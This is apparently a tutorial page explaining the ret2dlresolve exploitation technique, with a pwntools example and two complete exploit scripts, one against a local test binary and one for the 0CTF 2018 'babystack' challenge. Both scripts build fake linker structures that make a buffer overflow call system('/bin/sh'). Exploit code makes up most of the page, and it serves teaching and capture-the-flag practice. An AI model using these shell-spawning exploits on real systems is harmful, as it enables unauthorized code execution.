As explained in the page about GOT/PLT and Relro, binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function _dl_runtime_resolve.
The _dl_runtime_resolve function takes from the stack references to some structures it needs in order to resolve the specified symbol.
Therefore, it's possible to fake all these structures to make the dynamic linked resolving the requested symbol (like system function) and call it with a configured parameter (e.g. system('/bin/sh')).
Usually, all these structures are faked by making an initial ROP chain that calls read over a writable memory, then the structures and the string '/bin/sh' are passed so they are stored by read in a known location, and then the ROP chain continues by calling _dl_runtime_resolve , having it resolve the address of system in the fake structures and calling this address with the address to $'/bin/sh'.
This technique is useful specially if there aren't syscall gadgets (to use techniques such as ret2syscall or SROP) and there are't ways to leak libc addresses.
Chek this video for a nice explanation about this technique in the second half of the video:
Or check these pages for a step-by-step explanation:
context.binary = elf =ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))>>> rop =ROP(elf)>>> dlresolve =Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])>>> rop.read(0, dlresolve.data_addr)# do not forget this step, but use whatever function you like>>> rop.ret2dlresolve(dlresolve)>>> raw_rop = rop.chain()>>>print(rop.dump())0x0000:0x400593 pop rdi; ret0x0008:0x0 [arg0] rdi =00x0010:0x400591 pop rsi; pop r15; ret0x0018:0x601e00 [arg1] rsi =62991360x0020: b'iaaajaaa'<pad r15>0x0028:0x4003f0 read0x0030:0x400593 pop rdi; ret0x0038:0x601e48 [arg0] rdi =62992080x0040:0x4003e0 [plt_init] system0x0048:0x15670 [dlresolve index]
Example
Pure Pwntools
You can find an example of this technique herecontaining a very good explanation of the final ROP chain, but here is the final exploit used:
from pwn import*elf = context.binary =ELF('./vuln', checksec=False)p = elf.process()rop =ROP(elf)# create the dlresolve objectdlresolve =Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A'*76)rop.read(0, dlresolve.data_addr)# read to where we want to write the fake structuresrop.ret2dlresolve(dlresolve)# call .plt and dl-resolve() with the correct, calculated reloc_offsetlog.info(rop.dump())p.sendline(rop.chain())p.sendline(dlresolve.payload)# now the read is called and we pass all the relevant structures inp.interactive()
Raw
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystackfrom pwn import*target =process('./babystack')#gdb.attach(target)elf =ELF('babystack')# Establish starts of various sectionsbss =0x804a020dynstr =0x804822cdynsym =0x80481ccrelplt =0x80482b0# Establish two functionsscanInput =p32(0x804843b)resolve =p32(0x80482f0)#dlresolve address# Establish size of second payloadpayload1_size =43# Our first scan# This will call read to scan in our fake entries into the plt# Then return back to scanInput to re-exploit the bugpayload0 =""payload0 +="0"*44# Filler from start of input to return addresspayload0 +=p32(elf.symbols['read'])# Return readpayload0 += scanInput # After the read call, return to scan inputpayload0 +=p32(0)# Read via stdinpayload0 +=p32(bss)# Scan into the start of the bsspayload0 +=p32(payload1_size)# How much data to scan intarget.send(payload0)# Our second scan# This will be scanned into the start of the bss# It will contain the fake entries for our ret_2_dl_resolve attack# Calculate the r_info value# It will provide an index to our dynsym entrydynsym_offset = ((bss +0xc) - dynsym) /0x10r_info = (dynsym_offset <<8) |0x7# Calculate the offset from the start of dynstr section to our dynstr entrydynstr_index = (bss +28) - dynstrpaylaod1 =""# Our .rel.plt entrypaylaod1 +=p32(elf.got['alarm'])paylaod1 +=p32(r_info)# Emptypaylaod1 +=p32(0x0)# Our dynsm entrypaylaod1 +=p32(dynstr_index)paylaod1 +=p32(0xde)*3# Our dynstr entrypaylaod1 +="system\x00"# Store "/bin/sh" here so we can have a pointer ot itpaylaod1 +="/bin/sh\x00"target.send(paylaod1)# Our third scan, which will execute the ret_2_dl_resolve# This will just call 0x80482f0, which is responsible for calling the functions for resolving# We will pass it the `.rel.plt` index for our fake entry# As well as the arguments for system# Calculate address of "/bin/sh"binsh_bss_address = bss +35# Calculate the .rel.plt offsetret_plt_offset = bss - relpltpaylaod2 =""paylaod2 +="0"*44paylaod2 += resolve # 0x80482f0paylaod2 +=p32(ret_plt_offset)# .rel.plt offsetpaylaod2 +=p32(0xdeadbeef)# The next return address after 0x80482f0, really doesn't matter for uspaylaod2 +=p32(binsh_bss_address)# Our argument, address of "/bin/sh"target.send(paylaod2)# Enjoy the shell!target.interactive()
32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call read again with a .bss section and a bigger size, to store in there the dlresolve fake tables to load system, return to main and re-abuse the initial bof to call dlresolve and then system('/bin/sh').